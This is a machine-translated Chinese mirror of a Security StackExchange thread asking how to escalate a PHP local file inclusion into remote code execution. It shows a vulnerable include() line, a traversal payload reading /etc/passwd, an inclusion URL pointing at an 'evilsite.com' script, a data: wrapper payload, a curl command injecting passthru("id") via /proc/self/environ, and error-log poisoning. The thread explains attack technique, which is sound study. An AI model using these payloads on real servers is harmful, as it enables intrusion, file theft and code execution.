首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >使用PHP文件包装器将本地文件包含到RCE中

使用PHP文件包装器将本地文件包含到RCE中
EN

Security用户
提问于 2016-09-13 19:27:36
回答 3查看 20.5K关注 0票数 1

假设我们有如下代码:

代码语言:javascript
复制
<?php include("includes/".$_GET['param1'].".php");?>

现在,上面的代码容易受到LFI的攻击。如果我传递有效载荷../../../../etc/passwd%00,它工作得很好,并且我得到了文件。

但是,我试图使用上面的LFI漏洞来实现远程代码执行。这里是否有可能使用PHP文件包装器"php://input“来获得RCE?

我认为这里的问题是路径中的includes/文件夹以及如何绕过它。

EN

回答 3

Security用户

发布于 2016-09-13 19:49:51

您不能使用include()将LFI利用到动态RCE中。您必须在系统上已经有一个包含代码的文件(即evil-RCE-code.php)来调用。例如:

如果应用程序将通过GET请求发送给PHP include()函数的参数传递给没有输入验证的参数,攻击者可能会尝试执行开发人员所想要的以外的代码。下面的URL将一个页面名传递给include()函数。例如,http://testsite.com/index.php?page=contact.php文件“邪恶-RCE-code.php”可能包含phpinfo()函数,该函数对于获取运行web服务的环境的配置信息非常有用。攻击者可以使用以下请求请求应用程序执行他的PHP代码:http://testsite.com/?page=http://evilsite.com/evil-RCE-code.php

来源 (免责声明:我添加了"- RCE -“部分,以便于查看RCE的去向)。

看一下这是一种不同的方法:

好的方法是按如下方式使用文件包含: <?php define('MY_FILE_PATH','/var/www/htdocs/');require_once(APP_PATH .'lib.php');?> --让我们现在来看另一个例子,考虑以下页面:http://localhost/index.php?file=page1 page1是动态地包含到网页中的文件,通过查看上面的url,我们可以假设后端将使用以下代码:现在假设攻击者将变量“file”的值更改为以下内容:http://localhost/index.php?file=data:text/plain,<?php phpinfo();?> LFI可以更容易地转换为远程代码执行(RCE)。这种新的数据协议已经出现在PHP5.2.0中,并且在旧版本中将无法工作。此外,如果allow_url_include=off导致完全路径泄露,PHP将争论并且不允许使用它。还有其他的可能性,可以通过apache文件,使用“/proc”和其他方法来注入代码,并在以后进行评估。毫无疑问,不适当地使用像file_get_contents(), readfile()这样的函数、输入包装器(如php://input )以及其他函数也是一种威胁。

全文

更多背景资料及阅读

票数 3
EN

Security用户

发布于 2016-09-13 23:21:47

如果有任何预先准备的数据,则不能使用流,在您的情况下,includes/是前置的。然而,基于空字节工作的事实,您似乎正在处理一些较老的技术,您可能可以通过这样的操作来利用/proc/self/environ技巧:curl -A '<?=passthru("id")?>' 'http://localhost/lfi.php?file=../../../../../proc/self/environ%00'

票数 3
EN

Security用户

发布于 2018-06-12 15:23:31

有时可以通过LFI获得RCE,而无需直接控制磁盘上的文件、使用RFI、使用expect或使用流。

当一个错误发生时,比如说一个LAMP堆栈,完整的请求将被记录到服务器的“错误日志”文件中。您可以发送包含格式良好的PHP的无效请求,然后应该将任意PHP代码写入服务器文件系统。

现在的问题是( A)查找日志文件的位置(通常位于默认位置)和( B)希望web用户有足够的权限从错误日志中读取。

如果满足这些先决条件,您可以包含到错误日志的路径,并执行注入的PHP。

票数 1
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/136730

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档